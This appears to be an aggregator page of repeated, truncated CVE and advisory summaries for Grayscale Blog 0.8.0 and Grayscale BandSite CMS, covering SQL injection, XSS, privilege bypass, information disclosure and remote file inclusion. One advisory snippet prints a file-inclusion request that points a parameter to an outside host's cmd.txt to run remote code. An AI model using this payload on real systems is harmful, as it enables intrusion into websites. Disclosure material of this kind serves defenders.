CVE-2007-1434

SQL injection vulnerability in Grayscale Blog 0.8.0, and possibly earlier versions, might allow remote attackers to execute arbitrary SQL commands via the 1 id parameter to a userdetail.php, id and 2 url parameter to b jump.php, and id variable to c detail.php...

CVE-2007-1433

Cross-site scripting XSS vulnerability in Grayscale Blog 0.8.0, and possibly earlier versions, allows remote attackers to inject arbitrary web script or HTML via the comment fields to 1 scripts/addblogcomment.php and 2 detail.php...

CVE-2007-1434: Undefined Security Weakness

SQL injection vulnerability in Grayscale Blog 0.8.0, and possibly earlier versions, might allow remote attackers to execute arbitrary SQL commands via the 1 id parameter to a userdetail.php, id and 2 url parameter to b jump.php, and id variable to c detail.php...

CVE-2007-1433: Undefined Security Weakness

Cross-site scripting XSS vulnerability in Grayscale Blog 0.8.0, and possibly earlier versions, allows remote attackers to inject arbitrary web script or HTML via the comment fields to 1 scripts/addblogcomment.php and 2 detail.php...

CVE-2007-1432: Undefined Security Weakness

Grayscale Blog 0.8.0, and possibly earlier versions, allows remote attackers to gain privileges via direct requests with modified arguments in 1 the userpermissions parameter to addusers.php, and unspecified parameters to 2 addblog.php, 3 editblog.php, 4 editlinks.php, 5 editusers.php, and 6...

Grayscale Blog 0.8.0 (Security Bypass/SQL/XSS) Multiple Remote Vulns

No description provided by source. Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0 Date : 2007-02-24 Product : Grayscale Blog Version : 0.8.0 - Prior version maybe also be affected Vendor : http://sourceforge.net/projects/gsblogger/ - http://www.karlcore.com/programming/blog/...

Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0

Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0 Date : 2007-02-24 Product : Grayscale Blog Version : 0.8.0 - Prior version maybe also be affected Vendor : http://sourceforge.net/projects/gsblogger/ - http://www.karlcore.com/programming/blog/ Vendor Status : 2007-02-24 - Not...

Grayscale Blog 0.8.0 - Security Bypass / SQL Injection / Cross-Site Scripting

Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0 Date : 2007-02-24 Product : Grayscale Blog Version : 0.8.0 - Prior version maybe also be affected Vendor : http://sourceforge.net/projects/gsblogger/ - http://www.karlcore.com/programming/blog/ Vendor Status : 2007-02-24 - Not...

Grayscale Blog 0.8.0 - Security Bypass SQL Injection Cross-Site Scripting

Grayscale Blog 0.8.0 - Security Bypass SQL Injection Cross-Site Scripting Security Advisory - Multiple Vulnerabilities in Grayscale Blog 0.8.0 Date : 2007-02-24 Product : Grayscale Blog Version : 0.8.0 - Prior version maybe also be affected Vendor : http://sourceforge.net/projects/gsblogger/ -...

Grayscale Blog 0.8.0 (Security Bypass/SQL/XSS) Multiple Remote Vulns

Exploit for unknown platform in category web applications ==================================================================== Grayscale Blog 0.8.0 Security Bypass/SQL/XSS Multiple Remote Vulns ==================================================================== Security Advisory - Multiple...

GrayscaleBandSite.txt

Hello,, Grayscale BandSite CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Romote Include includes/content/contactcontent.php?GLOBALSrootpath=http://psevil.googlepages.com/cmd.txt...

CVE-2006-4984

Multiple PHP remote file inclusion vulnerabilities in Grayscale BandSite CMS allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSrootpath parameter in 1 adminpanel/includes/mailinglist/mlistxls.php and 2 adminpanel/includes/addforms/addmp3.php. NOTE: the other vectors fro...

CVE-2006-4986

Grayscale BandSite CMS allows remote attackers to obtain sensitive information via a direct request for 1 certain files in the includes/content directory, 2 includes/showspreview.php, and 3 adminpanel/configform.php; and files in adminpanel/includes/ including 4 mailinglist/disphtmltbl.php, 5...

CVE-2006-4985

Multiple cross-site scripting XSS vulnerabilities in Grayscale BandSite CMS allow remote attackers to inject arbitrary web script or HTML via 1 the maxfilesizepurdy parameter in adminpanel/includes/helpfiles/helpmp3.php, 2 the messagetext parameter in adminpanel/includes/mailinglist/sendemail.php...

CVE-2006-4986

Grayscale BandSite CMS allows remote attackers to obtain sensitive information via a direct request for 1 certain files in the includes/content directory, 2 includes/showspreview.php, and 3 adminpanel/configform.php; and files in adminpanel/includes/ including 4 mailinglist/disphtmltbl.php, 5...

CVE-2006-4986

CVE-2006-4986 affects Grayscale BandSite CMS. The connected documents confirm an information-disclosure vulnerability: an attacker can remotely obtain sensitive data by directly requesting a wide range of files across the site, including (1) files in includes/content, (2) includes/shows_preview.p...

CVE-2006-4984

Multiple PHP remote file inclusion vulnerabilities in Grayscale BandSite CMS allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSrootpath parameter in 1 adminpanel/includes/mailinglist/mlistxls.php and 2 adminpanel/includes/addforms/addmp3.php. NOTE: the other vectors fro...

CVE-2006-4985

Grayscale BandSite CMS is affected by multiple cross-site scripting (XSS) vulnerabilities identified as CVE-2006-4985. The description enumerates numerous injectable points across the admin panel and content modules, including: (1) max_file_size_purdy in adminpanel/includes/helpfiles/help_mp3.php...

CVE-2006-4984

Grayscale BandSite CMS is affected by CVE-2006-4984, a PHP remote file inclusion vulnerability. The issue allows an attacker to execute arbitrary PHP code via a URL passed in the GLOBALS[root_path] parameter to two vulnerable scripts: adminpanel/includes/mailinglist/mlist_xls.php and adminpanel/i...

CVE-2006-4984: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Grayscale BandSite CMS allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSrootpath parameter in 1 adminpanel/includes/mailinglist/mlistxls.php and 2 adminpanel/includes/addforms/addmp3.php. NOTE: the other vectors fro...